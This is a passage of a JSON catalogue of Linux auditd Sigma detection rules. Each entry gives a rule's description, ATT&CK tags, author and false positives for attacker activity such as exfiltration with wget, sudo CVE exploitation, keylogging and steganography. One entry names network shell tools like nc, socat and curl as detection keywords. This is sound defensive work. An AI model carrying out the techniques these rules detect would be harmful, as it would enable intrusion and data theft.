"https://attack.mitre.org/techniques/T1115/", - "https://linux.die.net/man/1/xclip", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_image_collection.yml" - ], - "tags": [ - "attack.collection", - "attack.t1115" - ], - "creation_date": "2021/10/01", - "filename": "lnx_auditd_clipboard_image_collection.yml", - "author": "Pawel Mazur", - "level": "low", - "falsepositive": [ - "Legitimate usage of xclip tools" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects command line parameter very often used with coin miners", - "uuid": "071d5e5a-9cef-47ec-bc4e-a42e34d8d0ed", - "value": "Possible Coin Miner CPU Priority Param", - "meta": { - "refs": [ - "https://xmrig.com/docs/miner/command-line-options", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_coinminer.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068" - ], - "creation_date": "2021/10/09", - "filename": "lnx_auditd_coinminer.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Other tools that use a --cpu-priority flag" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.", - "uuid": "759d0d51-bc99-4b5e-9add-8f5b2c8e7512", - "value": "Creation Of An User Account", - "meta": { - "refs": [ - "MITRE Attack technique T1136; Create Account ", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_create_account.yml" - ], - "tags": [ - "attack.t1136.001", - "attack.persistence" - ], - "creation_date": "2020/05/18", - "filename": "lnx_auditd_create_account.yml", - "author": "Marie Euler", - "level": "medium", - "falsepositive": [ - "Admin activity" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects exploitation attempt of vulnerability described in CVE-2021-3156.\nAlternative approach might be to look for flooding of auditd logs due to bruteforcing\nrequired to trigger the heap-based buffer overflow.\n", - "uuid": "5ee37487-4eb8-4ac2-9be1-d7d14cdc559f", - "value": "CVE-2021-3156 Exploitation Attempt", - "meta": { - "refs": [ - "https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_3156_sudo_buffer_overflow.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068", - "cve.2021.3156" - ], - "creation_date": "2021/02/01", - "filename": "lnx_auditd_cve_2021_3156_sudo_buffer_overflow.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects exploitation attempt of vulnerability described in CVE-2021-3156.\nAlternative approach might be to look for flooding of auditd logs due to bruteforcing.\nrequired to trigger the heap-based buffer overflow.\n", - "uuid": "b9748c98-9ea7-4fdb-80b6-29bed6ba71d2", - "value": "CVE-2021-3156 Exploitation Attempt", - "meta": { - "refs": [ - "https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_3156_sudo_buffer_overflow_brutforce.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068", - "cve.2021.3156" - ], - "creation_date": "2021/02/01", - "filename": "lnx_auditd_cve_2021_3156_sudo_buffer_overflow_brutforce.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects exploitation attempt of vulnerability described in CVE-2021-4034.", - "uuid": "40a016ab-4f48-4eee-adde-bbf612695c53", - "value": "CVE-2021-4034 Exploitation Attempt", - "meta": { - "refs": [ - "https://github.com/berdav/CVE-2021-4034", - "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034", - "https://access.redhat.com/security/cve/CVE-2021-4034", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_4034.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068" - ], - "creation_date": "2022/01/27", - "filename": "lnx_auditd_cve_2021_4034.yml", - "author": "Pawel Mazur", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", - "uuid": "a3b5e3e9-1b49-4119-8b8e-0344a01f21ee", - "value": "Data Compressed", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_compressed.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1560.001" - ], - "creation_date": "2019/10/21", - "filename": "lnx_auditd_data_compressed.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate use of archiving tools by legitimate user." - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects attempts to post the file with the usage of wget utility.\nThe adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like /etc/shadow.\n", - "uuid": "cb39d16b-b3b6-4a7a-8222-1cf24b686ffc", - "value": "Data Exfiltration with Wget", - "meta": { - "refs": [ - "https://attack.mitre.org/tactics/TA0010/", - "https://linux.die.net/man/1/wget", - "https://gtfobins.github.io/gtfobins/wget/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_exfil_wget.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003" - ], - "creation_date": "2021/11/18", - "filename": "lnx_auditd_data_exfil_wget.yml", - "author": "Pawel Mazur", - "level": "medium", - "falsepositive": [ - "Legitimate usage of wget utility to post a file" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects overwriting (effectively wiping/deleting) of a file.", - "uuid": "37222991-11e9-4b6d-8bdf-60fbe48f753e", - "value": "Overwriting the File with Dev Zero or Null", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_dd_delete_file.yml" - ], - "tags": [ - "attack.impact", - "attack.t1485" - ], - "creation_date": "2019/10/23", - "filename": "lnx_auditd_dd_delete_file.yml", - "author": "Jakob Weinzettl, oscd.community", - "level": "low", - "falsepositive": [ - "Appending null bytes to files.", - "Legitimate overwrite of files." - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.", - "uuid": "53059bc0-1472-438b-956a-7508a94a91f0", - "value": "Disable System Firewall", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", - "https://attack.mitre.org/techniques/T1562/004/", - "https://firewalld.org/documentation/man-pages/firewall-cmd.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_disable_system_firewall.yml" - ], - "tags": [ - "attack.t1562.004", - "attack.defense_evasion" - ], - "creation_date": "2022/01/22", - "filename": "lnx_auditd_disable_system_firewall.yml", - "author": "Pawel Mazur", - "level": "high", - "falsepositive": [ - "Admin activity" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects file and folder permission changes.", - "uuid": "74c01ace-0152-4094-8ae2-6fd776dd43e5", - "value": "File or Folder Permissions Change", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_file_or_folder_permissions.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1222.002" - ], - "creation_date": "2019/09/23", - "filename": "lnx_auditd_file_or_folder_permissions.yml", - "author": "Jakob Weinzettl, oscd.community", - "level": "low", - "falsepositive": [ - "User interacting with files permissions (normal/daily behaviour)." - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detecting attempts to extract passwords with grep", - "uuid": "df3fcaea-2715-4214-99c5-0056ea59eb35", - "value": "Credentials In Files", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_find_cred_in_files.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.001" - ], - "creation_date": "2020/10/15", - "filename": "lnx_auditd_find_cred_in_files.yml", - "author": "Igor Fits, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects adversary creating hidden file or directory, by detecting directories or files with . as the first character", - "uuid": "d08722cd-3d09-449a-80b4-83ea2d9d4616", - "value": "Hidden Files and Directories", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md", - "https://attack.mitre.org/techniques/T1564/001/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_files_directories.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.001" - ], - "creation_date": "2021/09/06", - "filename": "lnx_auditd_hidden_files_directories.yml", - "author": "Pawel Mazur", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects appending of zip file to image", - "uuid": "45810b50-7edc-42ca-813b-bdac02fb946b", - "value": "Steganography Hide Zip Information in Picture File", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1027/003/", - "https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_zip_files_steganography.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.003" - ], - "creation_date": "2021/09/09", - "filename": "lnx_auditd_hidden_zip_files_steganography.yml", - "author": "Pawel Mazur", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detect attempt to enable auditing of TTY input", - "uuid": "49aae26c-450e-448b-911d-b3c13d178dfc", - "value": "Linux Keylogging with Pam.d", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/T1056.001.md", - "https://attack.mitre.org/techniques/T1003/", - "https://linux.die.net/man/8/pam_tty_audit", - "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sec-configuring_pam_for_auditing", - "https://access.redhat.com/articles/4409591#audit-record-types-2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_keylogging_with_pam_d.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003", - "attack.t1056.001" - ], - "creation_date": "2021/05/24", - "filename": "lnx_auditd_keylogging_with_pam_d.yml", - "author": "Pawel Mazur", - "level": "high", - "falsepositive": [ - "Administrative work" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.", - "uuid": "4b3cb710-5e83-4715-8c45-8b2b5b3e5751", - "value": "Modification of ld.so.preload", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.006/T1574.006.md", - "https://eqllib.readthedocs.io/en/latest/analytics/fd9b987a-1101-4ed3-bda6-a70300eaf57e.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_ld_so_preload_mod.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.006" - ], - "creation_date": "2019/10/24", - "filename": "lnx_auditd_ld_so_preload_mod.yml", - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects loading of kernel modules with insmod command.\nLoadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.\nAdversaries may use LKMs to obtain persistence within the system or elevate the privileges.\n", - "uuid": "106d7cbd-80ff-4985-b682-a7043e5acb72", - "value": "Loading of Kernel Module via Insmod", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1547/006/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.006/T1547.006.md", - "https://linux.die.net/man/8/insmod", - "https://man7.org/linux/man-pages/man8/kmod.8.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_load_module_insmod.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1547.006" - ], - "creation_date": "2021/11/02", - "filename": "lnx_auditd_load_module_insmod.yml", - "author": "Pawel Mazur", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detect changes of syslog daemons configuration files", - "uuid": "c830f15d-6f6e-430f-8074-6f73d6807841", - "value": "Logging Configuration Changes on Linux Host", - "meta": { - "refs": [ - "self experience", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_logging_config_change.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.006" - ], - "creation_date": "2019/10/25", - "filename": "lnx_auditd_logging_config_change.yml", - "author": "Mikhail Larin, oscd.community", - "level": "high", - "falsepositive": [ - "Legitimate administrative activity" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.\nSeveral different variations of this technique have been observed.\n", - "uuid": "9d4548fa-bba0-4e88-bd66-5d5bf516cda0", - "value": "Masquerading as Linux Crond Process", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/8a82e9b66a5b4f4bc5b91089e9f24e0544f20ad7/atomics/T1036.003/T1036.003.md#atomic-test-2---masquerading-as-linux-crond-process", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_masquerading_crond.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.003" - ], - "creation_date": "2019/10/21", - "filename": "lnx_auditd_masquerading_crond.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "medium", - "falsepositive": "No established falsepositives", - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects enumeration of local or remote network services.", - "uuid": "3761e026-f259-44e6-8826-719ed8079408", - "value": "Linux Network Service Scanning", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_service_scanning.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1046" - ], - "creation_date": "2020/10/21", - "filename": "lnx_auditd_network_service_scanning.yml", - "author": "Alejandro Ortuno, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n", - "uuid": "f4d3748a-65d1-4806-bd23-e25728081d01", - "value": "Network Sniffing", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_sniffing.yml" - ], - "tags": [ - "attack.credential_access", - "attack.discovery", - "attack.t1040" - ], - "creation_date": "2019/10/21", - "filename": "lnx_auditd_network_sniffing.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate administrator or user uses network sniffing tool for legitimate reasons." - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\nSCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager.\nMicrosoft Azure, and Microsoft Operations Management Suite.\n", - "uuid": "045b5f9c-49f7-4419-a236-9854fb3c827a", - "value": "OMIGOD SCX RunAsProvider ExecuteShellCommand", - "meta": { - "refs": [ - "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", - "https://github.com/Azure/Azure-Sentinel/pull/3059", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.initial_access", - "attack.execution", - "attack.t1068", - "attack.t1190", - "attack.t1203" - ], - "creation_date": "2021/09/17", - "filename": "lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "high", - "falsepositive": [ - "Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand." - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects password policy discovery commands", - "uuid": "ca94a6db-8106-4737-9ed2-3e3bb826af0a", - "value": "Password Policy Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md", - "https://attack.mitre.org/techniques/T1201/", - "https://linux.die.net/man/1/chage", - "https://man7.org/linux/man-pages/man1/passwd.1.html", - "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_password_policy_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1201" - ], - "creation_date": "2020/10/08", - "filename": "lnx_auditd_password_policy_discovery.yml", - "author": "\u00d6mer G\u00fcnal, oscd.community, Pawel Mazur", - "level": "low", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects a reload or a start of a service.", - "uuid": "2625cc59-0634-40d0-821e-cb67382a3dd7", - "value": "Systemd Service Reload or Start", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1543/002/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_pers_systemd_reload.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1543.002" - ], - "creation_date": "2019/09/23", - "filename": "lnx_auditd_pers_systemd_reload.yml", - "author": "Jakob Weinzettl, oscd.community", - "level": "low", - "falsepositive": [ - "Installation of legitimate service.", - "Legitimate reconfiguration of service." - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects adversary creating screen capture of a desktop with Import Tool.\nHighly recommended using rule on servers, due to high usage of screenshot utilities on user workstations.\nImageMagick must be installed.\n", - "uuid": "dbe4b9c5-c254-4258-9688-d6af0b7967fd", - "value": "Screen Capture with Import Tool", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", - "https://attack.mitre.org/techniques/T1113/", - "https://linux.die.net/man/1/import", - "https://imagemagick.org/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencapture_import.yml" - ], - "tags": [ - "attack.collection", - "attack.t1113" - ], - "creation_date": "2021/09/21", - "filename": "lnx_auditd_screencapture_import.yml", - "author": "Pawel Mazur", - "level": "low", - "falsepositive": [ - "Legitimate use of screenshot utility" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high usage of screenshot utilities on user workstations", - "uuid": "e2f17c5d-b02a-442b-9052-6eb89c9fec9c", - "value": "Screen Capture with Xwd", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-3---x-windows-capture", - "https://attack.mitre.org/techniques/T1113/", - "https://linux.die.net/man/1/xwd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencaputre_xwd.yml" - ], - "tags": [ - "attack.collection", - "attack.t1113" - ], - "creation_date": "2021/09/13", - "filename": "lnx_auditd_screencaputre_xwd.yml", - "author": "Pawel Mazur", - "level": "low", - "falsepositive": [ - "Legitimate use of screenshot utility" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detection use of the command \"split\" to split files into parts and possible transfer.", - "uuid": "2dad0cba-c62a-4a4f-949f-5f6ecd619769", - "value": "Split A File Into Pieces", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_split_file_into_pieces.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1030" - ], - "creation_date": "2020/10/15", - "filename": "lnx_auditd_split_file_into_pieces.yml", - "author": "Igor Fits, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate administrative activity" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects embeding of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.", - "uuid": "ce446a9e-30b9-4483-8e38-d2c9ad0a2280", - "value": "Steganography Hide Files with Steghide", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1027/003/", - "https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_embed_steganography.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.003" - ], - "creation_date": "2021/09/11", - "filename": "lnx_auditd_steghide_embed_steganography.yml", - "author": "Pawel Mazur", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects extraction of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.", - "uuid": "a5a827d9-1bbe-4952-9293-c59d897eb41b", - "value": "Steganography Extract Files with Steghide", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1027/003/", - "https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_extract_steganography.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.003" - ], - "creation_date": "2021/09/11", - "filename": "lnx_auditd_steghide_extract_steganography.yml", - "author": "Pawel Mazur", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious activities as declared by Florian Roth in its 'Best Practice Auditd Configuration'.\nThis includes the detection of the following commands; wget, curl, base64, nc, netcat, ncat, ssh, socat, wireshark, rawshark, rdesktop, nmap.\nThese commands match a few techniques from the tactics \"Command and Control\", including not exhaustively the following; Application Layer Protocol (T1071), Non-Application Layer Protocol (T1095), Data Encoding (T1132)\n", - "uuid": "f7158a64-6204-4d6d-868a-6e6378b467e0", - "value": "Suspicious C2 Activities", - "meta": { - "refs": [ - "https://github.com/Neo23x0/auditd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_c2_commands.yml" - ], - "tags": [ - "attack.command_and_control" - ], - "creation_date": "2020/05/18", - "filename": "lnx_auditd_susp_c2_commands.yml", - "author": "Marie Euler", - "level": "medium", - "falsepositive": [ - "Admin or User activity" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects relevant commands often related to malware or hacking activity", - "uuid": "1543ae20-cbdf-4ec1-8d12-7664d667a825", - "value": "Suspicious Commands Linux", - "meta": { - "refs": [ - "Internal Research - mostly derived from exploit code including code in MSF", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_cmds.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.004" - ], - "creation_date": "2017/12/12", - "filename": "lnx_auditd_susp_cmds.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Admin activity" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects program executions in suspicious non-program folders related to malware or hacking activity", - "uuid": "a39d7fa7-3fbd-4dc2-97e1-d87f546b1bbc", - "value": "Program Executions in Suspicious Folders", - "meta": { - "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_exe_folders.yml" - ], - "tags": [ - "attack.t1587", - "attack.t1584", - "attack.resource_development" - ], - "creation_date": "2018/01/23", - "filename": "lnx_auditd_susp_exe_folders.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Admin activity (especially in /tmp folders)", - "Crazy web applications" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects commandline operations on shell history files", - "uuid": "eae8ce9f-bde9-47a6-8e79-f20d18419910", - "value": "Suspicious History File Operations", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_histfile_operations.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.003" - ], - "creation_date": "2020/10/17", - "filename": "lnx_auditd_susp_histfile_operations.yml", - "author": "Mikhail Larin, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate administrative activity", - "Legitimate software, cleaning hist file" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects a creation of systemd services which could be used by adversaries to execute malicious code.", - "uuid": "1bac86ba-41aa-4f62-9d6b-405eac99b485", - "value": "Systemd Service Creation", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1543/002/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_systemd_service_creation.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1543.002" - ], - "creation_date": "2022/02/03", - "filename": "lnx_auditd_systemd_service_creation.yml", - "author": "Pawel Mazur", - "level": "medium", - "falsepositive": [ - "Admin work like legit service installs." - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects System Information Discovery commands", - "uuid": "f34047d9-20d3-4e8b-8672-0a35cc50dc71", - "value": "System Information Discovery", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1082/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1082" - ], - "creation_date": "2021/09/03", - "filename": "lnx_auditd_system_info_discovery.yml", - "author": "Pawel Mazur", - "level": "low", - "falsepositive": [ - "Legitimate administrative activity" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects system information discovery commands", - "uuid": "1f358e2e-cb63-43c3-b575-dfb072a6814f", - "value": "System Information Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-4---linux-vm-check-via-hardware", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery2.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1082" - ], - "creation_date": "2020/10/08", - "filename": "lnx_auditd_system_info_discovery2.yml", - "author": "\u00d6mer G\u00fcnal, oscd.community", - "level": "informational", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.", - "uuid": "4cb57c2f-1f29-41f8-893d-8bed8e1c1d2f", - "value": "System Shutdown/Reboot", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", - 